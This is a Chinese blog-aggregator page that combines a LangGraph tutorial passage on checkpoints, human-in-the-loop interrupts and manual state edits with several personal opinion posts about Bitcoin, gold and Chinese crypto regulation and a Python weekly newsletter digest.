通过检查点我们实现了智能体的记忆功能,从而可以让智能体支持多轮对话。实际上,检查点远比我们想象的更强大,通过它可以在任何时候保存和恢复智能体运行过程中的状态,从而实现错误恢复、人机交互、时间旅行等高级特性。

人机交互(Human-in-the-loop)

基于 LLM 的应用程序可能会不可靠,有时需要人类的输入才能成功完成任务;对于某些操作,比如预定机票、支付订单等,可能在运行之前要求人工批准,以确保一切都按照预期运行。LangGraph 支持一种被称为 Human-in-the-loop 的工作流程,允许我们在执行工具节点之前停下来,等待人类的介入。

首先我们将上面代码中的工具改为 book_ticket,用于预定机票:

class BookTicketSchema(BaseModel):
    from_city: str = Field(description = "出发城市名称,如合肥、北京、上海等")
    to_city: str = Field(description = "到达城市名称,如合肥、北京、上海等")
    date: str = Field(description = "日期,如今天、明天等")

@tool(args_schema = BookTicketSchema)
def book_ticket(from_city: str, to_city: str, date: str):
    """预定机票"""
    return "您已成功预定 %s 从 %s 到 %s 的机票" % (date, from_city, to_city)

再将用户的问题改为:

for event in graph.stream({"messages": ("user", "帮我预定一张明天从合肥到北京的机票")}, config):
    for value in event.values():
        value["messages"][-1].pretty_print()

运行得到结果:

================================== Ai Message ==================================
Tool Calls:
  book_ticket (call_WGzlRnbPXbN8YvwjIkIMNDS1)
 Call ID: call_WGzlRnbPXbN8YvwjIkIMNDS1
  Args:
    date: 明天
    from_city: 合肥
    to_city: 北京
================================= Tool Message =================================
Name: book_ticket

您已成功预定 明天 从 合肥 到 北京 的机票
================================== Ai Message ==================================

您已成功预定 明天从合肥到北京的机票。祝您旅途愉快!如果还需要帮助,请随时告诉我。

接下来我们稍微对代码做些修改,在编译图的时候设置 interrupt_before 参数:

graph = graph_builder.compile(
    checkpointer=memory,
    interrupt_before=["tools"]
)

这样在执行到工具节点时,整个流程就会中断,重新运行结果如下:

================================== Ai Message ==================================
Tool Calls:
  book_ticket (call_1jQtm6czoPrNhbRIR5FzyN47)
 Call ID: call_1jQtm6czoPrNhbRIR5FzyN47
  Args:
    date: 明天
    from_city: 合肥
    to_city: 北京

可以看到工具并没有执行,此时我们可以使用 graph.get_state(config) 获取流程图的当前状态,从当前状态里我们可以拿到上一步的消息和下一步将要执行的节点:

snapshot = graph.get_state(config)
print(snapshot.values["messages"][-1])
print(snapshot.next)

向用户展示当前状态,以便用户对工具的执行进行确认,如果用户确认无误,则继续流程图的运行,直接传入 None 即可:

### 继续运行

for event in graph.stream(None, config):
    for value in event.values():
        value["messages"][-1].pretty_print()

运行结果如下:

================================= Tool Message =================================
Name: book_ticket

您已成功预定 明天 从 合肥 到 北京 的机票
================================== Ai Message ==================================

好的,已为您成功预定一张明天从合肥到北京的机票。

手动更新状态

在上一节中,我们学习了如何在执行工具之前中断,以便我们可以检查和确认,如果确认没问题,就继续运行,但如果确认有问题,这时我们就要手动更新状态,改变智能体的行为方向。

书接上回,我们仍然使用机票预定的例子,假设用户确认时,希望将日期从明天改为后天。我们可以使用下面的代码:

snapshot = graph.get_state(config)
existing_message = snapshot.values["messages"][-1]
new_tool_call = existing_message.tool_calls[0].copy()
new_tool_call["args"]["date"] = "后天"
new_message = AIMessage(
    content=existing_message.content,
    tool_calls=[new_tool_call],
    # Important! The ID is how LangGraph knows to REPLACE the message in the state rather than APPEND this messages
    id=existing_message.id,
)
graph.update_state(config, {"messages": [new_message]})

这里我们首先获取当前状态,从当前状态中获取最后一条消息,我们知道最后一条消息是 tool_call 消息,于是将 tool_call 复制了一份,并修改 date 参数,然后重新构造 AIMessage 对象,并使用 graph.update_state() 来更新状态。值得注意的是,AIMessage 中的 id 参数非常重要,LangGraph 会从状态中找到和 id 匹配的消息,如果找到就更新,否则就是新增。

这样就实现了状态的更新,我们传入 None 参数继续运行之:

### 继续运行

for event in graph.stream(None, config):
    for value in event.values():
        value["messages"][-1].pretty_print()

运行结果如下:

================================= Tool Message =================================
Name: book_ticket

您已成功预定 后天 从 合肥 到 北京 的机票
================================== Ai Message ==================================

您已成功预定 后天从合肥到北京的机票。祝您旅途愉快!如果还需要帮助,请随时告诉我。

除了修改工具的参数之外,LangGraph 还支持我们修改状态中的任意消息,比如手动构造工具执行的结果以及大模型的回复:

snapshot = graph.get_state(config)
existing_message = snapshot.values["messages"][-1]
new_messages = [
    # The LLM API expects some ToolMessage to match its tool call. We'll satisfy that here.
    ToolMessage(content="预定失败", tool_call_id=existing_message.tool_calls[0]["id"]),
    # And then directly "put words in the LLM's mouth" by populating its response.
    AIMessage(content="预定失败"),
]
graph.update_state(config, {"messages": new_messages})

完整的代码 参考这里,更多内容,参考 LangGraph 文档:

LangGraph 应用场景

官网文档提供了很多 LangGraph 的应用场景,包括 聊天机器人、RAG、智能体架构、评估分析等。

Chatbots

聊天机器人是智能体最常见的应用场景。

RAG

检索增强生成(Retrieval-Augmented Generation,简称 RAG) 通过引入外部信息源实现知识问答,解决大模型缺乏领域知识、无法获取实时信息以及生成虚假内容等问题。我们在 这篇博客 中学习了不少高级 RAG 技巧,通过 LangGraph 可以将智能体和 RAG 相结合,实现更好的问答效果。

Agent Architectures

ReAct 是最常见的智能体架构,这个词出自论文 ReAct: Synergizing Reasoning and Acting in Language Models,它是由 ReasonAct 两个词组合而成,表示一种将 推理行动 与大模型相结合的通用范式。上面我们学习的 LangGraph 示例,其实就是参考了 ReAct 的思路,方便起见,LangGraph 将其内置在 SDK 中,我们可以直接使用 create_react_agent 方法来创建一个 ReAct 智能体

from langchain_openai import ChatOpenAI
from langgraph.checkpoint.memory import MemorySaver
from langgraph.prebuilt import create_react_agent

llm = ChatOpenAI()
memory = MemorySaver()
tools = [get_weather]
graph = create_react_agent(llm, tools=tools, checkpointer=memory)

除 ReAct 之外,还有不少其他的智能体架构,比如多智能体、规划型智能体、智能体的反思和批判。

Multi-Agent Systems

Planning Agents

Reflection & Critique

Evaluation & Analysis

使用智能体评估智能体。

Experimental

这里列举一些 LangGraph 的实验特性。

参考

LangGraph Blogs

Cobus Greyling

中文资料

扫描二维码,在手机上阅读!

by aneasystone at October 07, 2024 01:31 AM

September 30, 2024

xiaowuleyi

比特币就算888,888元一个,又有什么意义?

这幅“世界名画”大家都欣赏过了吗?

这是2014年的远古视频,比特币中国的李启元,跟经济学家郎咸平在一个电视栏目里关于比特币的著名争辩,其中郎咸平说的一句:“你给我比特币,我是不会要的”从此成为币圈的一句经典台词。
而那一年,比特币价格从1000美元跌倒320美元。似乎比特币真的就成了一个烫手的山芋,杀人不见血的修罗场,被割的寸草不生的就菜园子。然而惊风飘白日,光景驰西流,10年后的今天,比特币翻了45倍不止。
很多人嘲笑郎咸平这判断能力和认知能力太低了,包括很多反对比特币的人,我们都认为这群人不仅仅数学不好,脑子也不行。是的,站在比特币的视角确实如此,古今中外都是成功论英雄。你钱多,你说的都对。
可是人家郎咸平可是货真价实的经济学家,并且我很佩服他之前针对中国经济的一些观点,甚至是批评的文章。判断一个人,看待一件事物,都不能只用好坏,黑白来定义。世界上哪有圣人,哪有完人,不存在的。就看对你带来了哪些启发,以及你又思考了什么?
一个货真价实的经济学家都没预想到比特币会发展到如今的地步,那么作为我们普通人,看走眼了不也很正常吗?假如比特币真的足够完美,你还能买得到吗?就好比说,炒股如果真的能赚到钱,那么你开个户都要托关系才行。
比特币从7000元跌倒3000元的时候,不少人绝望了,这时候谁要说比特币未来会涨到5万元,估计会被人喷死。但是短短几年,比特币从3000涨到了15万元,不仅仅是我们普通人,更有不少互联网大V,明星,分分加入区块链。高喊“区块链革命来了!”
然后当比特币从15万元跌倒2万5,国家一纸政令封杀,不少群一夜之间解散,整个币圈出奇的安静。没人在为了区块链声嘶力竭的呐喊了。该清仓的清仓,该出国(跑路)的出国,还有一些人进去了。
就像刚接触比特币一样,我充满了兴奋,不仅仅是因为技术带来的震撼(假装自己懂技术),更因为实实在在的投资收益。从马路一边走到马路另一边,打开账户一看,浮盈3万元。那时候才知道币圈大佬们所说的,早晨一睁眼,卧槽,资产升值了几个亿。
但随着几次跌宕起伏的牛市熊市,看着比过山车还刺激的K线。我明白了很多道理,知道市场的运行规律,也看到了自己的能力欠缺。如下图所示,我在没有进入币圈之前,就看到过这张类似的图。

愚昧让人自大,让人有一种“傲视天下,唯我独尊”的绝对正确感。而现实总会给与一些适当的削减和打击,或多或少,让人陷入绝望。这也是幸运的,一味的自大不自知,就如同在高速上没有刹车的汽车一样。当能进入绝望,才能开始反思,总结,复盘,这是大多数人会做的事情。也是人挺有意思事情,疼了才知道长记性,才开始用脑子。难怪米兰・昆德拉说“人一思考,上帝就发笑”,确实值得一笑。
从不知道自己不知道过度到知道自己不知道,才是一个人做很多事情的开始和基础,能开悟是值得高兴的。不开悟,起码知道了有些东西不是自己能掌控的,那就远离就好了,学会遗忘和放弃未尝不是正确的选择。
当年你能逐渐开悟,就会明白,哪有什么币圈,都是一群人故作高雅高深的自嗨罢了。你我皆是芸芸众生,都是案板上的肉,都是棋盘上的棋子罢了。“我命由我不由天”偶尔喊两句释放一下分泌过多的荷尔蒙和产生一些安慰大脑的多巴胺就行了。可别真觉得自己兜里揣点比特币,就能改变世界了。
即便比特币真的改变了世界,也不是你的功劳,但有你很重要。是所谓:功成不必在我。(请慢慢理解)
如果不出什么特殊情况,在不久就会看到一些无趣的新闻报道“比特币又创历史新高”,“比特币暴跌,爆仓XX亿”,请注意先后顺序,不然就没意思了。历史总是惊人的相似,这句话值得不断引用。
所以比特币即便是888888元一个,也没什么意义,因为波动的还是法币。不是比特币更值钱了,是法币不值钱了。有比特币的朋友们,可以端起酒杯,茶杯,水杯,咖啡杯,虽然我们可能没有见过面,但我能感受到我们的心意相通。没有比特币的朋友们,也感谢你对这个世界还保持和充满好奇,你生活开心,身体健康,永远比任何资产都重要。
其实在2014年还有一位老哥,用自己攒了7、8年的48万元人民币买了100个比特币。但最后因为扛不住下跌的压力,最终亏本清仓。放到如今应该价值4500万元,全中国的房子可以闭眼随便买了。
所以你看,究竟是想买买不到让人纠结,还是买了最终拿不住更让人痛苦呢?人生总有意难平,好好体验人生的乐趣吧。

by 小吴乐意 at September 30, 2024 12:14 PM

September 29, 2024

xiaowuleyi

既然你把比特币说的这么好,那么哪里才能购买呢?

今年是2024年,我帮你回顾一下之前的一些重大新闻通告与公告:

2013年12月5日,中国人民银行、工业和信息化部、中国银行业监督管理委员会、中国证券监督管理委员会、中国保险监督管理委员会联合发布了《关于防范比特币风险的通知》。该通知指出,比特币被认定为一种特定的虚拟商品,其不具有法偿性与强制性等货币属性,不能且不应作为货币在市场上流通使用。

2017年9月4日,中国人民银行等七部委发布的《关于防范代币发行融资风险的公告》指出,代币发行融资是指融资主体通过代币的违规发售、流通,向投资者筹集比特币、以太币等所谓 “虚拟货币”,本质上是一种未经批准非法公开融资的行为,涉嫌非法发售代币票券、非法发行证券以及非法集资、金融诈骗、传销等违法犯罪活动。

2021年9月24日,中国人民银行等十部委联合发布《关于进一步防范和处置虚拟货币交易炒作风险的通知》,旨在进一步防范和处置虚拟货币交易炒作风险。重点重申虚拟货币不具法币地位,其相关业务活动属非法金融活动。建立部门协同、央地联动工作机制,加强监测预警,构建处置体系,严禁金融机构、非银行支付机构及互联网平台为虚拟货币业务提供服务,依法打击相关非法金融活动。

当然这几年还有一些不大不小的通知公告,意在强调风险,落实管控。实际上比特币虽然被禁止交易,但持有并不违法。并且比特币在中国官方的定义下,等同于虚拟装备,虚拟资产,绝对不具备法偿性,更不是货币属性。意味着,如果说A欠了B人民币1万元,B如果想用价值1万元的比特币还给A,那么是不可以的,是违法的。除非A与B私下达成协议,那这个可以。但是不受法律保护。
这过程中,如果A收到了比特币,但是不承认,那么B还是要偿还1万元人民币给A。同样的,如果B给A假的比特币,那么A还可以通过法律让B继续偿还1万元人民币。这个我说的够明白了吧?
所以,比特币虽然被官方层面禁止,但还有一种在边缘的感觉。至少前年我知道的一个巴盟矿场老板,就通过比特币支付的方式,偿还了另一个人的130万人民币的欠款。两人也没有什么纠纷,到现在我看还朋友圈互相点赞。
但注意哈,也有一些新闻证实,如果交易比特币,还可能构成非法换汇罪。不仅仅会没收比特币(也可能无法没收),还会没收人民币,这叫非法所得。更甚至会判刑,所以千万不要试图游走在法律的边缘。
所以,如果你愿意放弃法律对你投资的保护性,并且不会在事后反悔追溯,能承担一切风险,不限于投资归0的风险,那么你也只是心理上刚刚准备好。而中国并不是100%禁止比特币交易,严格意义上来说,只是中国大陆境内禁止比特币交易。想买比特币,也并不难,香港就可以。
最近几个月,看很多人都在说,香港有可能是中国试水比特币的第一站。这里插句题外话,其实中国大陆境内之前是允许比特币交易所,也是支持人民币与比特币的交易的,是直接交易,并不像后来的币币交易。当时直接可以绑定银行卡,24小时随时买卖,毫无限制。那段日子,现在回想起来,应该就是比特币最美好的“田园时代”,以后单独聊聊。
香港上线了比特币的ETF,包括我们熟知的京东,也推出了京东的数字货币。那下一步,怎么运作,怎么开展,怎么普及,可以静观其变。包括香港很多线下实体店,也是支持比特币兑换的,除了比特币还有USDT,以太坊,你直接给他人民币或者港元就可以。具体的可以自行搜索,等下次有机会去香港我拍个vlog体验一下。
可能一小部分粉丝朋友跟我一样,还没有自己的私人飞机。如果有机会还可以出国看看,都不用说正在“衰落”的美国。就说已经“衰落”的日本,很多风情街都支持比特币支付,我靠,匿名,无法追溯,太让人放心了。我有个朋友都念叨大半年了,我要不是每天严厉的批评他,他早就带我去了,啊不是,是早就自己去了。
从中国政府的角度来理解封杀比特币这件事情,并不难。虽然当时不理解,现在能理解了。用那句流行的话说:人赚不到认知以外的钱。我们是家长式政治,不是真正意义的那种,法无禁止即可为的管理思想,至少真正落实的时候不是。
在我的腾讯钱包里,还存着2克的金子,是之前在币圈的微信群里面有大佬发的。在插句题外话,那会一个月要是在这些币圈微信群里抢不到个1万,2万的。都没脸说自己在币圈混过。经常是突然蹦出一个微信红包,点开领取就是130,93,170的,更后来都是人均单个200封顶的红包。
我这2克金子当时应该价值500多,现在我看了一下,1000多,也就是说不到6年时间翻了2倍。每年回报率接近20%这样,而比特币1万到现在的45万,平均每年投资回报率44%。呵呵,估计搞传销的都要说一句,兄弟,你这个东西是违法的吧?
于是,我不建议在中国大陆境内购买比特币,至少得等到合法合规的时候,持有合法,交易合法,买卖合法。并且更重要的是,你还要有这个技术实力保存好你的比特币,而不是放在交易所,放在交易所的比特币不是你的。这是无数血淋淋的教训给出的经验。
在这里重申一下,我写文章绝不是为了带你炒币赚钱,更不是推荐项目让你“一夜暴富”,我希望你把我所写的所说的,都当做茶余饭后的消遣。我既不贩卖焦虑,也不兜售情怀(可能偶尔),更不无脑鼓吹和贬低。
人呐,既不能太理想主义,也不能太现实主义,就像既不能只有比特币,也不能只有黄金。这就是一个硬币的两面,也许会是未来金融经济等领域的主要矛盾。我等且行且看,见证历史。
今天这篇是风险提示,明天写一个更劲爆的话题:买比特币买的是什么?(有可能拖更,哈哈哈)

by 小吴乐意 at September 29, 2024 04:25 AM

September 28, 2024

xiaowuleyi

如果比特币有你说的这么好,为什么没有更多的人使用它?

后台有位朋友提出了这个问题。我很开心有人终于能从实用角度,从交流的角度来探讨比特币。而不是张嘴闭嘴就比特币垃圾,比特币骗局,更不是让我给各位粉丝朋友推荐什么区块链项目。
这位朋友问题的问题很有意思。你小吴不是说美国政府都认可了么?还有国家当做法币了吗?更甚至现在比特币的算力和电力消耗已经完全是逆天的存在,那为什么还没有更多人愿意使用他呢?
首先,一件事情的流行,都是逐步普及开的。这个过程并不简单,也不会一夜之间风靡全球。微信刚刚问世的时候,不也是1万10万100万1000万的慢慢增长吗?更何况新事物的出现,也会遇到阻力。还记得红旗法案吗?
19世纪,汽车被发明出来,但当时马车依然是社会的主流交通工具。为了协调汽车与马车关于路权的争夺,就成立了红旗法案。法案规定汽车在行驶时必须有一个人在前面步行,举着红旗为其开道。
而如今,马车消失殆尽。从当前的眼光看过去,红旗法案就是一个笑话。但历史总在重复,比特币也会经历汽车一样的限制和抵制。就如同现在刷卡,扫码支付已经成为主流,几乎没人会拿着现金日常购物消费了。
还有,比特币的技术复杂度很高,想要学习和了解都需要投入精力和时间。至少在比特币还没有成为像微信抖音那样入门简单的“产品”之前。你我都要不断学习,了解,观望,急不得,也忽视不得。昨天评论区有朋友说,自己的0.7个比特币被黑客盗走了。要知道,黑客是偷不走你的比特币的,绝大多数都是自己泄露了私钥,或者中了木马程序,更有可能是自己操作失误等。
这些都是比特币在全世界流行开来的客观制约,其实还有,咱们随时补充。我还想说一点主观约束。还是举个简单易懂但略有粗糙的例子。
假如你是一个权威的数学家,你发明了1+2+3=6。大家都喜欢你的这个公式,简洁明了,高端大气。但是如果突然有一群不知道哪里来的,都没有什么权威认证的人,发明了3+3=6,比你的公式更短,更简洁。如果最后全都使用3+3,那么你的权威就不在了,你多年的名声就没了。所以从个人利益角度出发,大部分人必然选择诋毁3+3,所有基于1+2+3受益的人,都会不由自主的抵制3+3。
你能明白我这个意思吗?曾经有人这样描述比特币:此物一出天下反。老百姓可以反(造反),不受法币的奴役。而权威也会反(反对),避免自己跌落神坛。
这个世界的先贤们,经常说,把权力关进笼子,还有会说透明官员财务。请问都做到了吗?都实现了吗?能真正的让百姓信服吗?我想答案你心里已经有了。而如果使用比特币,或者不是比特币,只要是基于区块链技术,可溯源,去中心化,那么,以上问题迎刃而解。
更不用说每年各个国家的无限印钞,造成的明显与不明显的通货膨胀。咱都不用扯什么专业报告,也不用分析什么各项指标。我就问你,同样是30万,为什么很多年前能再北京买套房,现在连个交个首付未必够。怎么钱还就没砖头贵呢?
一个有趣的可以参考的观点是,如果你卡里存了1000元,到年底没有变成1100元,那么你这1000元,真正价值就是900元。数学稍稍好点的,明白我的意思吧?
你说,比特币怎么能不被打压呢。扯了这么多,也不知道你是否认可我所说的。我其实还可以根据你的问题扩展一下,也许有助于你更好的思考了。

通过阅读增加知识,为什么没有流行开呢?但贩卖焦虑流行开了。
通过健身强健体魄,为什么没有流行开呢?但保健药品流行开了。
通过自己做饭避免垃圾食品,为什么没有流行开呢?但美团外卖流行开了。
世界上有很多值得流行的东西和事物,却仅仅限于一部分人或者一小部分人,变得焦虑,肥胖,无知,远比保持健康和良好习惯更容易一些。就事论事,非人身攻击哈。
单从流行程度来评估一件事,在这个时代并不妥当。这是我的个人观点,如有不对恳请斧正,欢迎交流探讨。

比特币不仅仅是在对抗愚昧的金融权威,比特币也在成为新权威,它不需要让反对者信服,而是因为反对者终将死去,一切就自然顺势而为了。
每参加一个反对者的葬礼,比特币就前进一步。比如下面这位:

by 小吴乐意 at September 28, 2024 04:43 AM

pythoncat

Python 潮流周刊#71:PyPI 应该摆脱掉它的赞助依赖

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,1 则音视频,全文 2000 字。
以下是本期摘要:
① PyPI 应该摆脱掉它的赞助依赖
② 创建不分大小写的 Python 字符串类
③ 用 Tree-sitter & Jedi 重构 Python 代码
④ Psycopg 3 如何实现异步到同步代码自动转换?
⑤ Python 用代码契约来数绵羊
⑥ 2024 年对 Oil 项目的回顾
⑦ 驯服 Django ORM 这只野兽
⑧ 用 Python 解决墨尔本大学的 Cat Walk 谜题
⑨ 禁用计划性的依赖项更新
⑩ 用 ipyopenlayers 制作交互式地图
⑪ 用 Python 查找 π 中最长的重复序列
⑫ 在 50 多岁学习编程,我学到了什么?
① SurfSense:万维网冲浪者的个人 AI 助手
② peepdb:用于快速检查数据库的工具
③ dante:用 SQLite 实现的 Python NoSQL 数据库
④ skrub:为机器学习准备表格
⑤ scientific-visualization-book:用 matplotlib 作可视化的开源电子书
⑥ minDB:极其节省内存的向量数据库
⑦ weather_landscape:通过景观图像可视化天气预报
⑧ httpdbg:轻松调试 HTTP 客户端请求
⑨ GetQzonehistory:获取 QQ 空间发布的历史说说
⑩ Qocker:用于管理 Docker 容器的 GUI 应用
⑪ linkding:可自托管的书签管理器
⑫ wasm2mpy:将 WebAssembly 编译为原生 MicroPython 模块
① 走进 Bento:Meta 的 Jupyter Notebook
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 71 期周刊的全文:https://xiaobot.net/post/782915db-7501-4e0b-8a1a-4a5780289da4
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

September 28, 2024 12:00 AM

September 27, 2024

xiaowuleyi

尔曹金与名俱灭,难废比特万古流——黄金与黄瓜

计划标题:尔曹金与名俱灭,难废比特万古流—黄金与黄瓜之比特币真正“价值”

在不久的将来,我们会看到比特币的市值超过黄金。

黄瓜大家都吃过吧,黄金大家也都知道吧,或者你身上可能还带着金戒指,金项链,金耳环,甚至大金表。为啥黄金1克就能卖到500多元的价格,而黄瓜一斤也才6块钱,算下来1克黄瓜才0.012元,二者价格相差约41666.67倍,是什么造成这样的价格落差呢。
你说稀缺性,黄金确实稀缺,难道黄瓜就不稀缺了吗?黄金还有很多都在底下尚未被开采,甚至还有未被发现的。而黄瓜全世界有多少,是可以被统计出来的,要说稀缺性,黄瓜的稀缺性可比黄金强多了。
其实这里,对“稀缺”的理解就要分开来说了。黄金的的稀缺性来自于开采难度,要知道找到一个金矿可不是说拿个扫描仪扫就完事了。是一个很庞杂的工业工程,凝集了人类的很多高精尖技术才能说有一定概率找到金矿;并且黄金还是工业稀缺品,用于航空航天,甚至首饰珠宝,这个稀缺性也不能忽视;而且最为重要的是,黄金以目前人类的技术,几乎无法合成生成,粒子加速器倒是可以合成黄金,但是成本极其高,没有必要。
黄瓜的稀缺性仅仅是在民生领域,更具体点就是食用需求,所以虽然也具有稀缺性。但不具备那种被高度重视和赋予高价值的稀缺。更何况黄瓜可以随时被大面积种植,价格增长幅度有限,且市场需求容易饱和,不具备长久的稀缺性。
感兴趣的可以了解一下S2F模型,用来评估黄金等资产当然也包括比特币。算是能很好的了解“稀缺性”。当然这个模型并非绝对权威,但是可以作为参考,请你悉知。随着比特币的减半,目前通过这个S2F模型评估的资产硬度数值,比特币已经超过黄金了。在不久的将来,我们会看到比特币的市值超过黄金。
前面我说了,黄金合成难度极低,包括之前的博客文章也提到过,黄金是超新星碰撞在极其恐怖的爆炸中产生的。如果谁能人工合成黄金,别说诺贝尔物理学奖了,直接把诺贝尔复活给你天天端茶递水都可以。黄金,白银,铜铁,这个顺序也是按照合成难度来依次排序的,是不是有点意思了。
于是,黄金就被当做了个人的价值投资品,更是国家的战略储备。还有那句话,乱世黄金,盛世文玩。你看当前黄金的市值,以绝对优势碾压当前这个星球各大公司的市值。
但黄金却有个无法避免的问题,量小点还好说,但是量大怎么办?如何保存?如何安全的保存?真给你10斤黄金,恐怕你不是担心怎么变成钱,而是怎么安全的保存和未来安全的使用。而且你真要是拿着哪怕1斤的黄金去兑换,怕是也会被各种盘问,最终能不能换成钱还两说。
比特币就不存在这个问题,本质上你有1万个比特币和0.1个比特币是一样的,唯一需要担心的就是如何安全的保存好你的助记词。当然这个方式有很多种,可以软加密保存,也可以记在纸上,或者硬件钱包,多种多样。技术难度并不高,而且安全上限极高。
想换成钱,可以用交易所的c2c,比如1000元以上30万元以内都可以。如果量大,可以去香港有专门的线下兑换渠道,甚至每个城市也都有比特币的承兑商。如果超过1000万,更可以联系好机构,也没问题。以前一个挖矿的朋友,对接了一笔价值1.3亿人民币的比特币兑换业务,出售方是日本某团队,据说是山口组的背景。承兑商是新加坡的一家军方背景的机构,双方约定在香港的某家银行进行交易,最终完美成交。
手续费只有103元(当时比特币的价格),想想就很有意思,1.3亿的转账,手续费只有103元。怕是这个地球上再也找不到这么简单高效低成本的交易方式了。
一味否定比特币,则意味着你的人生失去了一种可能。一味的赞美比特币,无脑吹捧,则意味着你可能会陷入一些风险骗局。我们可以说黄金几乎难以合成,也可以说比特币几乎完美。这都是经过科学证实的,而科学就是用来质疑的,就是用来去伪存真的。这个真,就是真理。
是所谓:尔曹金与名俱灭,难废比特万古流。

打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。

by 小吴乐意 at September 27, 2024 03:10 AM

September 26, 2024

xiaowuleyi

如果每个人都有比特币(扒瞎篇)

那今天继续聊聊比特币,如果每个人都有比特币可能会发生什么?
我们走后,他们会给你们修学校和医院,会提高你们的工资,这不是因为他们良心发现,也不是因为他们变成了好人,而是因为我们来过。
——切·格瓦拉
注意:这句话也有可能不是切·格瓦拉说的,但他曾表达过与之类似的观点。我的引用仅作为表单观点的一个引子。
不管是我聊比特币,还是聊什么其他话题,都只是我个人观点,我不是在说服谁。重点是我在记录我的生活,所以,持反对意见的欢迎交流观点,哪里不对的,还望斧正。

你思考这个问题,现在的8小时工作制是怎么来的?
如果你了解历史就知道了,8小时工作制是通过工人阶级反抗斗争,流血牺牲换来的。在此之前,工业革命时期,工人的每天工作时间都在12小时左右,甚至更长时间,而且工作环境恶劣,劳动强度极大。直到经过无数的反抗镇压,又反抗又镇压的过程中,才让资本家们以及各国政府意识到保障工人权益的重要性。
最终才慢慢的开始实行8小时工作制,工作环境也开始改善,世界也越来越“文明”。而那时候工人手里有斧子,有铁锹,也有不少枪,资本家和国家机器手里也有枪。所以反抗虽然艰难,斗争曲折,但还算能看到希望,双方战力悬殊并不是很大。
现在你再看看,工人手里还有什么?资本家和国家机器手里有什么?这还怎么打,有更何况如今的社会体系庞大复杂,说直白点就是阶层锁死。一个普通家庭,想跨越阶层,难如登天,不管你信不信,事实就是如此。而且更残酷的真相是,每一个用尽浑身解数爬上阶层的人,转身就把后面的门给关上了。
国家机器通过无限量的印钱,调整政策。轻松的就可以把一大批普通家庭牢牢锁死,更可以把那些中产家庭财富轻松收割,而有钱的富人,要么寻找更强大的靠山,要么做好资产分配,对抗风险。这也不用我举例子吧。最近考公大军的数量,还有某地方退休金发放数量与比例就足够参考了。
那你可能说了,这跟比特币有什么关系呢。就如我前面隐晦表达的,国家垄断暴力,才能无限制印钱。没有暴力的垄断作为支撑,印钱的底气必然不足,更何况要成为世界货币。流通范围就在大炮的射程之内。
疫情三年,给我沉重的上了一课。如果你觉得也没啥,那你可真是一个幸运儿。到底是天灾还是人祸,自在人心,不再多言。

如果我们的财富,不仅仅只有法币,而是还有比特币,这样去中心化的,无法被任何国家剥夺的“货币”。(推荐哈耶克的《货币的非国家化》)那么在世界范围内,所有的执政者的无限印钞的底气会少了很多。虽然这个过程会很慢,但一定会慢慢普及,只要这个世界的人们能稍稍的了解一些历史,稍稍的把大脑变得清醒一点点。
比特币从开始的极少部分密码学爱好者在用,到极少部分技术爱好者在用,到极少部分普通人在用,到一小部分普通人在用,到可以公开讨论媒体报道,到区块链成为产业加密货币成为热门,到极少部分国家当做自己国家的法币,到美国这样的顶级强国承认比特币,到全世界各大基金开始蠢蠢欲动计划把比特币当做资产配置的极小部分。
那么,未来还会远吗?
我明白一个道理,我一定不是世界上最聪明的,我能做好的就是,找到世界上最聪明的人,然后看看他们怎么做。说比特币是垃圾的,一定不是聪明人,但同样,把比特币夸上天的人,也不是聪明人。真正的聪明人是把事情做在顺势之前,等风来,便可水到渠成。
就好比说炒股,想赚钱太容易了,就四个字:低买高卖。但哪里是低?哪里是高?就各凭本事了。
当每个人都有除了法币以外的“货币”,并且是不受到国家机器控制的货币,并且是随着用的人越来越多,已经自成体系,自成生态,几乎可以替代法币存在的“货币”。那么这时候,就会逐渐形成三方势力,从零和博弈到了复杂博弈。这个过程依然漫长,但实现的可能已经不属于曾经书本里面的幻想了。(推荐一本神书《主权个人》)
以前年轻气盛,在某政府机构办事,因为对方的态度敷衍,还真就指着对方的鼻子说了句:你就这什么态度,对得起我们纳税人吗?(大概意思是这个,原话有点模糊了),现在想想都太魔幻了,太科幻了。但把这件小事放大一些,你会很绝望,你交着税,努力工作,不做坏事,养活了一大批工资来自于我们纳税的服务人员。而这些服务人员小部分趾高气昂,鱼肉百姓,你却无可奈何。
当然,现在政府的服务好多了,改善多了。但这些也是从内到外的,如果没有内部的推动力和改革动力,那么现在的现状依然是和过去一样。我们也依然无能为力。
国家没有好坏,本质上都一样。说好听点叫“服务人民”说难听点叫“永恒奴役”,自古以来都这样,未来如果人人都有比特币,国家机器才会真正的有“服务人民”的动力。我这个想法我自己也承认有些极端,所以我也只停留在浅层的思考层面,所以我才会更客观冷待的看待这个世界,所以我才没有什么极端的想法。就像《三体》小说里罗德说的那样:
“失去人性,失去很多;失去兽性,失去一切。”盲目爱自己的国家是可笑的,疯狂诋毁自己国家是可悲的,能平等面对国家机器才是这个时代最难能可贵的。
好像今天东扯西扯的跟主题有点偏,哈哈哈,反正你别把我这当成一个什么权威发布,更不是学术论文,纯粹是江湖瞎撇,用重庆话说叫摆龙门阵,用我们赤峰老家的话说叫扒瞎。得,今天就扯到这,明天聊聊黄金与黄瓜。

终有一日,他们会大幅削减政府不必要开支,大幅提高普通人退休金占比,全力夯实全民医疗保障根基,严密守护公民个人财产安全,全然忘我地为本国乃至外国公民竭诚服务。这并非他们幡然醒悟,亦非他们摇身变为善人,而是因为我的存在。
——比特币

打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。

